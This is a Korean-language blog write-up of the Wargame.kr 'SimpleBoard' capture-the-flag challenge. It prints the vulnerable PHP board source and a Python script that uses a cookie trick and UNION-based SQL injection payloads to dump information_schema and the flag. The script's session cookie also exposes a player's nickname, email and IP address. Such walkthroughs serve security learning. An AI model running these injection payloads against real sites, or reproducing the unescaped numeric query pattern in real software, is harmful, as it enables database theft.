Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 SimpleBoard 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번에는 생각해보다 간단하지만은 않은 문제입니다.

문제를 풀어보도록 하겠습니다.




 

 문제 이해


문제는 다음과 같습니다.


이번에도 간단한 SQL Injection 문제라고 하는데, 어쩌면 script가 필요하다고 합니다.

저는 딱히 짤 필요는 못 느꼈지만 스크립트를 작성하면 편하긴 편하더라구요.

거두절미하고 문제풀이로 들어가겠습니다.




 

 문제 풀이


문제를 살펴볼 때 read.php 이외에는 딱히 값을 넘겨주는 곳이 없어서, read.php에 쿼리 값을 넣어보니 다음과 같은 결과가 나왔습니다.

여기서 idx가 0이게 되면 아무런 값도 출력하지 않지만, or 1=1을 통해 참(1)이 반환되어 NUM 값이 1인 행이 출력되는 것을 볼 수 있었습니다.

그렇다면 이 부분에 값을 넣을 수 있다는 것을 확인할 수 있었습니다.

그런데, order by를 통해 컬럼 개수를 알아보려했는데, 자꾸 query error라는 값을 토해내기 시작했습니다.


여기서 소스를 살펴보도록 하겠습니다.

<?php
    if (isset($_GET['view-source'])){
        if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
            show_source(__FILE__);
            exit();
        }
    }

    Class DB {
        private $connector;

        function __construct(){
            $this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
            mysql_select_db("SimpleBoard", $this->connector);
        }

        public function get_query($query){
            $result = $this->real_query($query);
            return mysql_fetch_assoc($result);
        }

        public function gets_query($query){
            $rows = [];
            $result = $this->real_query($query);
            while ($row = mysql_fetch_assoc($result)) {
                array_push($rows, $row);
            }
            return $rows;
        }

        public function just_query($query){
            return $this->real_query($query);
        }

        private function real_query($query){
            if (!$result = mysql_query($query, $this->connector)) {
                die("query error");
            }
            return $result;
        }

    }

    Class Board {
        private $db;
        private $table;

        function __construct($table){
            $this->db = new DB();
            $this->table = $table;
        }

        public function read($idx){
            $idx = mysql_real_escape_string($idx);
            if ($this->read_chk($idx) == false){
                $this->inc_hit($idx);
            }
            return $this->db->get_query("select * from {$this->table} where idx=$idx");
        }

        private function read_chk($idx){
            if(strpos($_COOKIE['view'], "/".$idx) !== false) {
                return true;
            } else {
                return false;
            }
        }

        private function inc_hit($idx){
            $this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
            $view = $_COOKIE['view'] . "/" . $idx;
            setcookie("view", $view, time()+3600, "/SimpleBoard/");
        }

        public function get_list(){
            $sql = "select * from {$this->table} order by idx desc limit 0,10";
            $list = $this->db->gets_query($sql);
            return $list;
        }

    }


여기서 55, 56번 라인을 보게 되면 read_chk를 통해 inc_hit 함수의 실행 여부를 판단합니다.


이 부분이 중요합니다.


이제 61 ~ 67번 라인을 보게 되면 read_chk 함수가 있는데, 여기서 COOKIE 값 내에 view 값에 우리가 입력한 idx 값이 있으면 true를 반환하고, 없으면 false를 반환합니다.


해석해보면 false를 반환했을 때, inc_hit 함수가 실행되는 것을 알 수 있습니다.

inc_hit함수가 실행되면 우리가 입력한 idx 값을 이용하여 update 쿼리가 실행됩니다.


만약 우리가 idx=1 order by 4를 넣어서 실행하고자 한다면, select문에서는 문제없이 동작할지 몰라도, update문에서는 에러를 발생하게 됩니다.

만약 cookie 값에 우리가 입력한 idx 값이 없을 때, update문을 실행한 다음 select문을 실행합니다.

즉, update문에 먼저 실행되어 select문이 동작하지 않게 된다는 것입니다.


그렇다면 update문이 실행되지 않도록 하기 위해서는 cookie 값에 우리가 입력할 값을 넣어줘야 한다는 것을 의미합니다.


불편하지 않게 저는 간단한 스크립트를 작성하여 문제를 풀었습니다.

import requests
import urllib

requests.packages.urllib3.disable_warnings()
sess = requests.session()

URL = 'http://wargame.kr:8080/SimpleBoard/read.php?idx=0'
'''
# TABLE_SCHEMA / TABLE_NAME
# SimpleBoard  / SimpleBoard
payload = urllib.parse.quote(" union select table_schema,table_name,3,4 from information_schema.tables limit 1,1")

# TABLE_SCHEMA / TABLE_NAME   / COLUMN_NAME
# SimpleBoard  / README       / flag
payload = urllib.parse.quote(" union select table_name,column_name,3,4 from information_schema.columns limit 0,1")

# TABLE_SCHEMA / TABLE_NAME   / COLUMN_NAME / COLUMN
# SimpleBoard  / README       / flag        / 8b86cd6a814ce83915ca2c391e3aca1ed4ddccfd
payload = urllib.parse.quote(" union select 1,flag,3,4 from SimpleBoard.README limit 0,1")
'''

payload = urllib.parse.quote(" union select 1,flag,3,4 from SimpleBoard.README limit 0,1")

headers = {'Cookie': 'view=%2F0' + payload + '; chat_id=test; ci_session=a%3A10%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%2221502e91b78756d6c271bc6743c3ac2d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22210.217.38.14%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A115%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F74.0.3729.131+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1557974138%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22KKAMIKOON%22%3Bs%3A5%3A%22email%22%3Bs%3A17%3A%22hjs5576%40naver.com%22%3Bs%3A4%3A%22lang%22%3Bs%3A3%3A%22eng%22%3Bs%3A11%3A%22achievement%22%3Bs%3A7%3A%22default%22%3Bs%3A5%3A%22point%22%3Bs%3A4%3A%224925%22%3B%7D62a0256e6f6d3ca2d09dabd666d3db802a6f9aca'}

res     = sess.get(url=URL+payload, headers=headers, verify=False)

print('[=] res.text : \n', res.text) 


위의 코드를 보면 payload에 따른 값이 달라지는 것을 볼 수 있습니다.


+ Recent posts